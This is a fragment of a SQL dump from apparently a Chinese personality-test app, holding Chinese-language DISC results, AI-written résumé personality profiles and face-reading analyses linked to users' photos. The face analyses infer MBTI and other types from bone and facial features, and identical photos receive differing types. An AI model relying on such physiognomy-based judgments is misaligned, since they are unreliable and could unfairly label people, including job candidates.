'personal'); -INSERT INTO `mbti_test_results` VALUES (101, 1, 'resume', '{\"content\": \"下面是基于你目前提供的数据做的“初步画像”,因为简历内容图片我还看不到具体文字,只能先根据测评结果和你给的信息做框架式判断。等你补充简历文本(生日、工作经历),我可以再做一次更精准的“校正”和细化。\\n\\n---\\n\\n## 一、核心性格关键词(在现有信息基础上的“初稿”)\\n\\n- 外向表达强 / 乐于社交(E,高 I / 孔雀 / I型)\\n- 结果导向、执行力强(ESTJ、部分老虎、D)\\n- 乐观、有感染力、擅长影响他人(孔雀 / I型)\\n- 逻辑清晰、决策偏理性(T、INTJ 面相分析)\\n- 组织、规划和掌控欲较强(J、ESTJ、D)\\n- 可能存在:情绪耐受一般、容易对低效与拖延不耐烦、注意力分散或过度乐观\\n\\n> 说明:目前多份测评之间存在明显“冲突”(INTJ + D/C vs ESTJ + 孔雀 + I型),在没有工作经历和生日信息印证前,只能先给出一个“折中后的大致轮廓”。\\n\\n---\\n\\n## 二、真实性格深度分析(基于多测评交叉取中)\\n\\n### 1. 性格底色(以 MBTI ESTJ + PDP 孔雀 + DISC I 为主,兼顾面相 INTJ+D/C)\\n\\n- **外向倾向:明显偏外向 E**\\n - MBTI:E 得分 8:0\\n - PDP:孔雀 85%\\n - DISC:I 100%\\n → 真实中,很难是典型的“社交内向型”。更可能是: \\n 在熟悉环境中非常外向、健谈、有存在感,在陌生或专业场合会切换到“理性、控制局面”的模式。\\n\\n- **思维方式:现实理性 + 过程有序**\\n - MBTI:S(务实)+ T(理性决策)+ J(讲规则、重计划)\\n - 面相&DISC/D:逻辑分析、条理性、目标导向 \\n → 行为决策多以“现实可行性、成本收益”为基准,很少纯情绪化决策。对模糊、拖延和反复变更不耐烦。\\n\\n- **核心驱动力:成就 & 影响力 & 控制感**\\n - ESTJ:喜欢“组织、管理、推动进展”\\n - 孔雀 / I:喜欢“被看见、影响他人、气氛与人际反馈”\\n - D:喜欢“掌控局面、说了算”\\n → 综合来看,更可能是: \\n 既希望“事情有效率、结果达成”,又希望“自己是关键人物、被看到、能影响团队和氛围”。\\n\\n### 2. 情绪与压力反应(暂为推测版)\\n\\n- 面对压力,更可能表现为:\\n - 先上手解决问题,行动优先;\\n - 对他人拖慢节奏或不配合容易着急、发火;\\n - 不太愿意公开展示脆弱,更习惯“硬扛+往前推”。\\n- 在高压或反复被否定的环境中,可能会:\\n - 控制欲上升、语气变强势;\\n - 对细节和错误挑剔;\\n - 或出现短时逃避:注意力分散、转向社交或其他刺激来“分心”。\\n\\n---\\n\\n## 三、行为与沟通风格(从三类测评交集提炼)\\n\\n### 1. 行为风格(做事方式)\\n\\n**很可能的真实行为特征:**\\n\\n- 快节奏、行动型:不喜欢长时间空谈,更偏“边做边调”。\\n- 结构化:喜欢清晰的目标、时间表、优先级;讨厌混乱和没有决策。\\n- 现实实用:方案要落地、要有效,不爱“空想型创意会”。\\n- 需要自主权:对过度控制、反复否决会强烈不适;更适合被赋予责任和空间。\\n\\n**可能出现的行为盲点:**\\n\\n- 容易忽略他人情绪体验,认为“事情比感受重要”;\\n- 对节奏慢、风格细腻的人(高S、高F、高C)缺耐心;\\n- 可能因为乐观+自信,低估风险、细节或长期隐患。\\n\\n### 2. 沟通风格\\n\\n- **与下属/同事** \\n - 语言直接,指令清晰,强调“结果、时间节点、标准”;\\n - 擅长在团队里“打气”“带动情绪”,同时推进任务;\\n - 喜欢开门见山,不擅长长篇铺垫或过度安抚。\\n- **与上级/客户** \\n - 用数据、事实、案例说话,表达有条理;\\n - 会展示自信与掌控感,给人“靠谱、能干”的印象;\\n - 对模糊要求有时会“反问、追问”,希望边界更清晰。\\n- **社交场合** \\n - 易成为话题中心或组织者型角色;\\n - 善于调动氛围、快速建立关系,但对深度情绪、脆弱话题不一定愿意停留太久。\\n\\n---\\n\\n## 四、优势亮点(多测评共同指向的真实优势)\\n\\n1. **组织与执行能力强**\\n - 擅长拆解目标、制定计划、分派任务、盯进度;\\n - 能把一群人组织起来,朝同一个结果推进。\\n\\n2. **影响力与号召力**\\n - 外向表达 + 孔雀/I型,使你在团队中自然具备“带动情绪、影响氛围”的能力;\\n - 非常适合担任项目负责人、团队leader、BD/销售管理等对人和结果双重要求的角色。\\n\\n3. **理性决策、敢于拍板**\\n - 以事实、逻辑、经验为依据,敢做决定、敢担责;\\n - 在混乱和犹豫的环境中能“站出来给方向”。\\n\\n4. **目标导向、抗干扰能力相对较好**\\n - 结果清晰时,容易进入“执行模式”,专注在完成任务上;\\n - 对复杂问题有拆解和推进的能力,而不仅停留在想法层面。\\n\\n---\\n\\n## 五、可提升方向(结合三类测评的“偏科点”)\\n\\n1. **情绪与同理心维度的补位**\\n - 当前组合偏:结果 > 过程、事实 > 情绪。 \\n - 建议:\\n - 在给反馈、提要求前,先确认对方状态(“我看到你现在很赶/很累,我的建议是…”);\\n - 学会区分:对事可以强硬,对人要留余地;\\n - 对高情感敏感型同事(高F、高S)增加一些“情感确认”。\\n\\n2. **节奏与风格的灵活度**\\n - 强势+快节奏容易“碾压”节奏慢的人,导致团队出现被动服从、表面执行。 \\n - 建议:\\n - 在定目标时,邀请不同风格成员参与共创,减少“一言堂”;\\n - 有意识多问一句:“你怎么看?有什么风险/细节我没考虑到?”\\n\\n3. **风险意识与细节耐心**\\n - 孔雀/I型 + ESTJ 容易偏向“自信+乐观+动作快”,忽略长期风险或技术细节。 \\n - 建议:\\n - 在重要决策中,引入“唱反调角色”; \\n - 固定加入一个“风险检查清单”(资金、合规、交付能力、人力等)。\\n\\n4. **压力管理与自我调节**\\n - 表面强势、理性的人,常常习惯“压住自己的情绪”,后期可能以易怒、控制欲、失眠等方式反弹。 \\n - 建议:\\n - 留出稳定的放空或运动时间,而不是一味靠高强度工作“顶住”;\\n - 在极度压力期,减少对他人语气和节奏的要求,把精力放在“关键少数”的任务上。\\n\\n---\\n\\n## 六、后续优化建议\\n\\n目前你的数据中,存在两种相反画像:\\n\\n- 面相:INTJ + D/C(冷静策略家,偏内向、理性、规划型)\\n- 测评:ESTJ + 孔雀 + I(外向、务实、善社交、组织执行型)\\n\\n但它们的“交集”很清晰: \\n**理性、组织力强、结果导向、有影响力、有一定控制欲。**\\n\\n接下来,如果你能提供:\\n- 生日(具体年月日)\\n- 简历中真实的工作经历:行业、岗位、年限、是否带团队、典型项目/业绩\\n\\n我可以再做一版“修正版画像”,重点从:\\n\\n1. 你的职业选择与晋升路径,验证你是更偏“战略规划型”,还是“执行管理+对人影响型”;\\n2. 从工作中的真实行为(冲突处理、挫折反应、换工作原因),验证你的抗压方式和真实价值观;\\n3. 结合生日,从“底色倾向”上进一步校正(例如偏权威/独立/合作/服务等)。\\n\\n你可以直接把简历文字版或关键经历发给我,我会基于上面的“初稿”做一次系统修正和升级。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 1, NULL, NULL, 1773131684, 1773131684, 6, 'enterprise'); -INSERT INTO `mbti_test_results` VALUES (102, 1, 'disc', '{\"scores\": {\"C\": 0, \"D\": 20, \"I\": 0, \"S\": 0}, \"answers\": {\"1\": \"D\", \"2\": \"D\", \"3\": \"D\", \"4\": \"D\", \"5\": \"D\", \"6\": \"D\", \"7\": \"D\", \"8\": \"D\", \"9\": \"D\", \"10\": \"D\", \"11\": \"D\", \"12\": \"D\", \"13\": \"D\", \"14\": \"D\", \"15\": \"D\", \"16\": \"D\", \"17\": \"D\", \"18\": \"D\", \"19\": \"D\", \"20\": \"D\"}, \"completedAt\": \"2026-03-10T08:37:27.414Z\", \"description\": {\"type\": \"D型\", \"color\": \"#EF4444\", \"title\": \"支配型\", \"careers\": [\"企业高管\", \"创业者\", \"项目经理\"], \"strengths\": [\"决断力强\", \"目标导向\", \"行动迅速\"], \"weaknesses\": [\"可能过于强势\", \"缺乏耐心\"], \"description\": \"天生的领导者,注重结果和效率\"}, \"percentages\": {\"C\": 0, \"D\": 100, \"I\": 0, \"S\": 0}, \"dominantType\": \"D\", \"testDuration\": 17, \"secondaryType\": \"I\"}', NULL, NULL, 0, 0, NULL, NULL, 1773131847, 1773131847, 6, 'personal'); -INSERT INTO `mbti_test_results` VALUES (103, 1, 'disc', '{\"scores\": {\"C\": 5, \"D\": 4, \"I\": 8, \"S\": 3}, \"answers\": {\"1\": \"I\", \"2\": \"D\", \"3\": \"I\", \"4\": \"I\", \"5\": \"C\", \"6\": \"I\", \"7\": \"I\", \"8\": \"D\", \"9\": \"S\", \"10\": \"C\", \"11\": \"I\", \"12\": \"C\", \"13\": \"C\", \"14\": \"D\", \"15\": \"S\", \"16\": \"C\", \"17\": \"S\", \"18\": \"I\", \"19\": \"D\", \"20\": \"I\"}, \"completedAt\": \"2026-03-10T08:42:24.893Z\", \"description\": {\"type\": \"I型\", \"color\": \"#F59E0B\", \"title\": \"影响型\", \"careers\": [\"市场营销\", \"公关\", \"培训师\"], \"strengths\": [\"善于沟通\", \"乐观积极\", \"创意丰富\"], \"weaknesses\": [\"可能过于乐观\", \"注意力分散\"], \"description\": \"热情友好,善于社交和表达\"}, \"percentages\": {\"C\": 25, \"D\": 20, \"I\": 40, \"S\": 15}, \"dominantType\": \"I\", \"testDuration\": 19, \"secondaryType\": \"C\"}', NULL, NULL, 0, 0, NULL, NULL, 1773132144, 1773132144, 6, 'personal'); -INSERT INTO `mbti_test_results` VALUES (104, 1, 'resume', '{\"content\": \"下面先给出综合结论,再拆分说明。由于简历文件内容无法直接读取,以下分析主要基于: \\n- 面相AI:INTJ + PDP 老虎 / DISC D-C \\n- MBTI测评问卷:ESTJ(极端 E、S、T、J) \\n- PDP 测评:孔雀型(P85 + T15) \\n- DISC 测评:I 主导,次 C(I40%、C25%、D20%、S15%)\\n\\n可以看出,不同测评之间有明显矛盾: \\n- 有的结果偏「内向理性、战略规划型」(INTJ / D-C) \\n- 有的结果偏「外向表现、乐观影响型」(ESTJ + 孔雀 + I型) \\n\\n所以必须交叉取证,剥离「答题风格」「场景角色」带来的偏差,只保留稳定、相互印证的特征。\\n\\n---\\n\\n## 一、核心性格关键词(综合提炼)\\n\\n**底色:理性 + 目标导向 + 主动外向的影响者**\\n\\n- 目标驱动,结果导向 \\n- 逻辑清晰,判断迅速 \\n- 现实务实,偏行动派 \\n- 外向表达,愿意影响和说服他人 \\n- 组织与掌控欲较强,有领导倾向 \\n- 情绪总体稳定,但有时会直接甚至强势 \\n- 既要「好结果」,又在意「别人怎么看」\\n\\n---\\n\\n## 二、真实性格深度分析(去伪存真)\\n\\n### 1. 内外向:E 还是 I?\\n\\n- 面相/人脸:INTJ 倾向(独立思考、规划、冷静) \\n- MBTI 问卷:100% E,几乎没有 I \\n- PDP:孔雀型(极高外向表达、社交欲) \\n- DISC:I 型主导(善于沟通、表达)\\n\\n**综合判定**: \\n- 性格本质上偏「外向表达 + 主动影响」——不是安静型分析者 \\n- 但思考方式带有一定「理性、独立判断」特征,不是情绪化的纯社交型 \\n- 可推测: \\n - 内心需要通过「说」「讲」「带队」来影响环境,是典型 E \\n - 人前表现活跃、讲逻辑、人脉广; \\n - 但在关键判断时,会希望自己做主,独立思考后拍板,有一点「内向决策」的影子\\n\\n### 2. 思维方式:T vs F / 逻辑 vs 情感\\n\\n- MBTI:T 极高,F 接近 0 \\n- 面相:逻辑分析、理性思维 \\n- PDP/ DISC:孔雀 / I 型往往偏情绪感染力强,但你的组合里同时有 Tiger / C、D 成分\\n\\n**综合判定**: \\n- 决策底层以「对错、利弊、效率、结果」为主,而非「感受、公平、关系和谐」 \\n- 善于用数据、事实、逻辑说明观点,但会带一点情绪、鼓动性 \\n- 对自己要求高,也会对别人有明显标准,容忍度有限 \\n- 在关系中,更多是「我帮你解决问题」,而不是「我陪你情绪共鸣」\\n\\n### 3. 结构度与执行:J + D/C 一致性很高\\n\\n- MBTI:J 极强(偏有计划、有秩序的处事方式) \\n- 面相:战略规划、系统性思考 \\n- DISC:C+D 均有一定比例(25+20),说明: \\n - 注重质量、细节、规范(C) \\n - 同时又有推动、拍板的一面(D)\\n\\n**综合判定**: \\n- 做事讲流程、讲计划、喜欢可控性,不爱「走一步看一步」 \\n- 能从全局拆分任务,设置节点和标准 \\n- 对执行要求严格,不喜欢拖沓、反复 \\n- 遇到模糊情况,会本能地想「先定规则/先搭框架」,再推动落实\\n\\n### 4. 情绪与压力反应\\n\\n从 D + C + T + 目标导向推测:\\n\\n- 面对压力,会先顶住、硬扛,通过加快节奏、强化控制来应对,而不是退缩 \\n- 高标准 + 责任感,会让你在关键项目中很能扛事,但长期容易: \\n - 自我压力过大 \\n - 对他人不耐烦,语气变硬、控制欲上升 \\n- 情绪表达方式: \\n - 不太习惯示弱或公开表达脆弱 \\n - 一般以「工作指令」「问题讨论」的形式释放情绪(例如提高语速、语气变直)\\n\\n### 5. 真实偏好 vs 测试标签矛盾的原因推测\\n\\n- INTJ(面相)+ ESTJ(问卷)+ 孔雀/老虎(PDP)+ I/C (DISC) \\n- 可以推断: \\n - 底层是:**逻辑型、结果型、组织型** \\n - 外显行为是:**外向、有号召力、善于动员与说服** \\n- 问卷中极端的 E/S/T/J 可能反映了你「在职场角色中的自我期望」: \\n - 认为自己应该外向、坚决、指挥型、很能扛 \\n- 面相中的 INTJ 则反映: \\n - 内心仍需要一定独处空间做深度思考 \\n - 有规划和策略性,而不是只靠人脉与情绪\\n\\n---\\n\\n## 三、行为与沟通风格\\n\\n### 1. 行为风格(做事习惯)\\n\\n- **偏任务导向**:看到的是目标、节点和资源,而不是先想到「大家开不开心」 \\n- **强推动力**:喜欢把事情往前赶,看不到进度会焦虑 \\n- **决策方式**: \\n - 快速收集信息 → 分析利弊 → 果断拍板 \\n - 不喜欢长时间拉扯和模糊 \\n- **对细节与标准有要求**: \\n - 对数字、流程、结果质量敏感 \\n - 在执行层面,有时会下意识地「自己盯得很紧」 \\n- **时间观念强**:守时、希望别人也守时,拖延会让你非常不爽\\n\\n### 2. 人际与沟通风格\\n\\n- **主动开场、主动带节奏**:会议上倾向于主持议题、推动讨论,而不是一直沉默 \\n- **表达直接、逻辑清晰**: \\n - 喜欢讲「逻辑+结论」,不爱绕圈 \\n - 容易给人「强势」「有压迫感」的印象,尤其对执行不到位的人 \\n- **说服路径**: \\n - 用事实、案例、数据 + 一定情绪感染(鼓舞式或高压式) \\n- **社交偏好**: \\n - 场合中能自如社交、建立关系 \\n - 但选择深度合作伙伴时,更看重对方能力与专业,而非单纯投缘\\n\\n---\\n\\n## 四、优势亮点\\n\\n1. **综合领导力潜质** \\n - 目标感强 + 推动力强 + 组织规划能力 \\n - 能同时「看全局」和「盯过程」 \\n - 适合在项目型、结果导向强的岗位担任负责人或关键骨干\\n\\n2. **逻辑与执行结合** \\n - 不是只会讲战略的空谈型,也不是只会干活的执行型 \\n - 能把复杂问题拆解为可执行步骤,安排人、定标准、定时间\\n\\n3. **沟通与影响力强** \\n - 具备孔雀/I型的表达力和感染力 \\n - 适合做跨部门协调、客户沟通、对上汇报、对下动员\\n\\n4. **高抗压与责任感** \\n - 在关键任务中,敢接难活,有「我来」的担当 \\n - 抗压方式偏「迎难上」,能在压力下保持理性判断\\n\\n5. **学习与迭代能力** \\n - T + C 特质使你愿意学习新方法、复盘问题 \\n - 会不断调整自己的策略和做事方式,以追求更高效的结果\\n\\n---\\n\\n## 五、可提升方向(有针对性的建议)\\n\\n1. **柔化表达方式,减少无意的压迫感** \\n - 问题不在逻辑,而在「语气与时机」: \\n - 在给反馈前先简短肯定,再指出问题 \\n - 避免在公开场合直接、尖锐地挑战个人,更聚焦问题和方案 \\n - 目标:同样的观点,用更让人「愿意接受」的方式表达\\n\\n2. **容忍差异、提升耐心** \\n - 你的节奏和标准往往高于平均值 \\n - 建议: \\n - 区分「必须做到」和「可以妥协」的标准 \\n - 对节奏慢、风格不同的同事,多用「提问式」而非「指责式」沟通: \\n - 「你现在最大困难是什么?」 \\n - 「我们一起看看怎么帮你提速?」\\n\\n3. **增强情感维度的领导力** \\n - 目前偏「任务+结果」领导方式 \\n - 可以刻意增加: \\n - 了解成员个人动机与压力 \\n - 在关键节点给予情绪支持,而不是只盯结果 \\n - 这会显著提升团队忠诚度和配合度\\n\\n4. **适当放权,避免过度控制** \\n - 强控制与高标准容易导致「事事亲力亲为」 \\n - 建议建立: \\n - 清晰的目标和检查节点 \\n - 把过程决策权交给团队,让别人也承担结果 \\n - 有助于你从「高级执行者」升级为「真正的管理者」\\n\\n5. **给自己预留「独处思考」时间** \\n - 虽然外向,但面相/INTJ 指向你有不小的「深度思考」需求 \\n - 建议在节奏很快的工作中,给自己固定的: \\n - 每周1-2次,1-2小时的独立思考时间,用于:复盘、规划、思考长期方向 \\n - 有利于你避免陷入只顾执行、不看方向的忙碌状态\\n\\n---\\n\\n### 总结一句话画像\\n\\n一个以结果和逻辑为核心、外向主动、有号召力的组织者型人才:在高压环境中能扛事、能带队、能推动复杂任务落地;同时需要在表达柔和度、对他人差异的耐心以及情感链接上做适度升级,以从「强势的执行型领导」成长为「兼具温度与格局的成熟管理者」。\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 1, NULL, NULL, 1773132629, 1773132629, 6, 'enterprise'); -INSERT INTO `mbti_test_results` VALUES (105, 26, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性稳健、规划导向,擅长在安静环境中深度思考与系统决策。重视长期价值,执行风格低调克制但持续有力。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0dee57b7.63622949.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0e208c94.70625181.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0e1c4ee9.23218328.jpg\"], \"boneAnalysis\": \"骨骼线条偏方正厚实,中停与下停力量感足,格局偏稳健持久型,重视现实落地。\", \"faceAnalysis\": \"额头与下颌饱满,眼神专注,鼻梁端正,整体给人理性、稳健而有耐性的印象。\", \"personalitySummary\": \"思维逻辑清晰,惯于独立判断与长期规划;情绪外露度低,人际中略带距离感;做事专注、有责任心,适合承担重要项目与关键决策角色。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773133602, 1773133602, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (106, 26, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、心智缜密,重视规划与秩序,擅长长期目标推进与关键决策,适合承担核心职责。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede1498fb4.13618523.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede13bda54.82616891.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede146fe35.05214291.jpg\"], \"boneAnalysis\": \"五官骨骼清晰、骨重肉薄偏金木形,相框修长有角度,颧骨内敛、下颌坚挺,显露决断力强、规划导向与持久执行力。\", \"faceAnalysis\": \"额头平阔顺滑,眼神专注克制,鼻梁挺直,嘴唇收敛有度,下颌线利落,整体给人理性稳重、专注内敛之感。\", \"personalitySummary\": \"思维逻辑严谨,做事计划性强,重视原则与底线,情绪外显度低但责任心重,适合独立思考与统筹复杂事务。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773137394, 1773137394, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (107, 26, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静且目标感强,善于规划与统筹,做事稳健高效,适合承担关键决策与专业把关角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07d6f7a9.18847402.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07d96652.90735834.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07df7c91.55175853.jpg\"], \"boneAnalysis\": \"骨相匀称偏骨重,颧略内敛不外突,下颌骨线条利落,属木土兼具之稳健型,重视现实落地与长远积累。\", \"faceAnalysis\": \"额头平阔顺滑,眼神沉静专注,鼻梁端正细致,嘴唇收敛有度,下颌线清晰,整体给人理性自持、判断力强的气质。\", \"personalitySummary\": \"性格内敛理性,有清晰边界与责任心,重视秩序与规则,擅长独立思考与深度分析,对自我要求高,抗压稳定。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773137428, 1773137428, NULL, 'personal'); -INSERT INTO `mbti_test_results` VALUES (108, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"安静理性而带理想主义色彩,思维细腻有规划,重视内在原则与长期发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"五官骨感清秀属木水形,骨肉匀称偏纤细,重直觉与思考,抗压方式以理性内耗消化为主。\", \"faceAnalysis\": \"额头偏高顺滑,眼神内敛专注,鼻梁细直,唇形柔和收敛,下巴略尖显敏感思辨。\", \"personalitySummary\": \"内向克制而有主见,重价值观与深度连接,做事谨慎有条理,擅长独立思考与长期规划,对情绪与环境变化较敏感。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773197744, 1773197744, 6, 'personal'); -INSERT INTO `mbti_test_results` VALUES (109, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTP\", \"title\": \"逻辑学家\"}, \"overview\": \"理性冷静偏内向,思考缜密,重视个人空间与专业深度,适合研究分析与策略规划类工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨感适中偏纤细,五行偏木水形,骨肉匀称,思维敏捷重逻辑,抗压方式以理性分析和持续消化为主。\", \"faceAnalysis\": \"额头饱满、眼神内敛而专注,鼻梁清秀,嘴形柔和含蓄,下颌较尖,整体偏理性内向型气质。\", \"personalitySummary\": \"安静理性,独立思考力强,做事有条理而不急躁,情绪外显度低但内心细腻,偏向以专业与思考影响他人。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773214222, 1773214222, 6, 'personal'); -INSERT INTO `mbti_test_results` VALUES (110, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"理性细腻,思维缜密,内敛专注,情感深而有度,适合深度思考与策略规划型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg\"], \"boneAnalysis\": \"骨相清秀偏木水形,骨肉匀称,颧骨不显而有支撑力,属韧性与耐力并存型,重思考胜过外放冲劲。\", \"faceAnalysis\": \"额形平顺,眼神温和内敛,鼻梁细直,唇形含蓄,下巴柔中带坚,整体偏理性内向与审慎气质。\", \"personalitySummary\": \"性格安静理性,重内在原则与价值观,做事有规划且追求完美,情绪稳定但表达含蓄,善体察他人并给予细腻支持。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773214527, 1773214527, 6, 'personal'); -INSERT INTO `mbti_test_results` VALUES (111, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"理性克制而细腻,重视长期目标与内在价值,做事安静专注,兼具温度与原则感。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1222162dfb3.33149884.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122201c4ba5.05315027.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122215f6c00.42725600.jfif\"], \"boneAnalysis\": \"骨骼匀称偏细长,颧骨不外突、下颌略带角度,属稳健内敛型骨相,重思考与节奏掌控,抗压方式偏理性持久。\", \"faceAnalysis\": \"额头平润饱满、眉眼清澈专注,鼻梁秀直、唇形端正收敛,下颌线流畅,整体给人理性细腻且自律的气质。\", \"personalitySummary\": \"性格安静独立,思维细腻有条理,重视原则与边界;对人温和但有距离感,擅长深度思考与长期规划,适合需要专注与判断力的岗位。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773216325, 1773216325, 6, 'personal'); -INSERT INTO `mbti_test_results` VALUES (112, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INFJ\", \"title\": \"提倡者\"}, \"overview\": \"气质沉静理性,心思细腻有担当,重视长期规划与自我提升,适合在稳定高标准环境中深耕发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1222162dfb3.33149884.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122201c4ba5.05315027.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122215f6c00.42725600.jfif\"], \"boneAnalysis\": \"面骨线条流畅不突兀,骨肉均匀偏细腻,颧区含而不露,下颌骨稳实,属稳健持久型格局,重视内在力量与长期累积。\", \"faceAnalysis\": \"额头饱满平整,眼神柔和专注,鼻梁顺直,唇形饱满收敛,下颌线清晰,整体给人理性内敛、稳重可靠之感。\", \"personalitySummary\": \"性格安静理智,思路清晰,有原则与边界感,做事细致有耐心,擅长在低调中持续发力并稳定完成高标准任务。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773216370, 1773216370, 6, 'personal'); -INSERT INTO `mbti_test_results` VALUES (113, 1, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、谋略清晰,目标导向强,善于规划与统筹,在稳定环境中能持续输出高质量成果。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122946a54c6.37603583.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12294706aa6.28073503.jfif\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1229473c992.26199330.jfif\"], \"boneAnalysis\": \"骨相偏金木形,骨架分明而不过分外露,颧骨内敛、下颌有角度,属稳健理性型格局,重视原则与秩序,抗压持久。\", \"faceAnalysis\": \"额头平阔饱满,眉眼沉稳专注,鼻梁挺直有力,嘴型收敛紧实,下颌线清晰,整体给人冷静自持、内敛坚决之感。\", \"personalitySummary\": \"性格内敛克制,思维逻辑性强,做事计划周密而节奏稳健,倾向独立思考与深度研究,人际中保持适度距离但值得信赖。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773216421, 1773216421, 6, 'personal'); -INSERT INTO `mbti_test_results` VALUES (114, 28, 'face', '{\"pdp\": {\"primary\": \"考拉\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"S\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISFJ\", \"title\": \"守卫者\"}, \"overview\": \"稳重务实,责任感强,做事踏实细致,重视家庭与长期稳定,适合在熟悉领域深耕发展。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d154dcb8.48696739.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d15502b8.73103052.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d154df95.81703712.jpg\"], 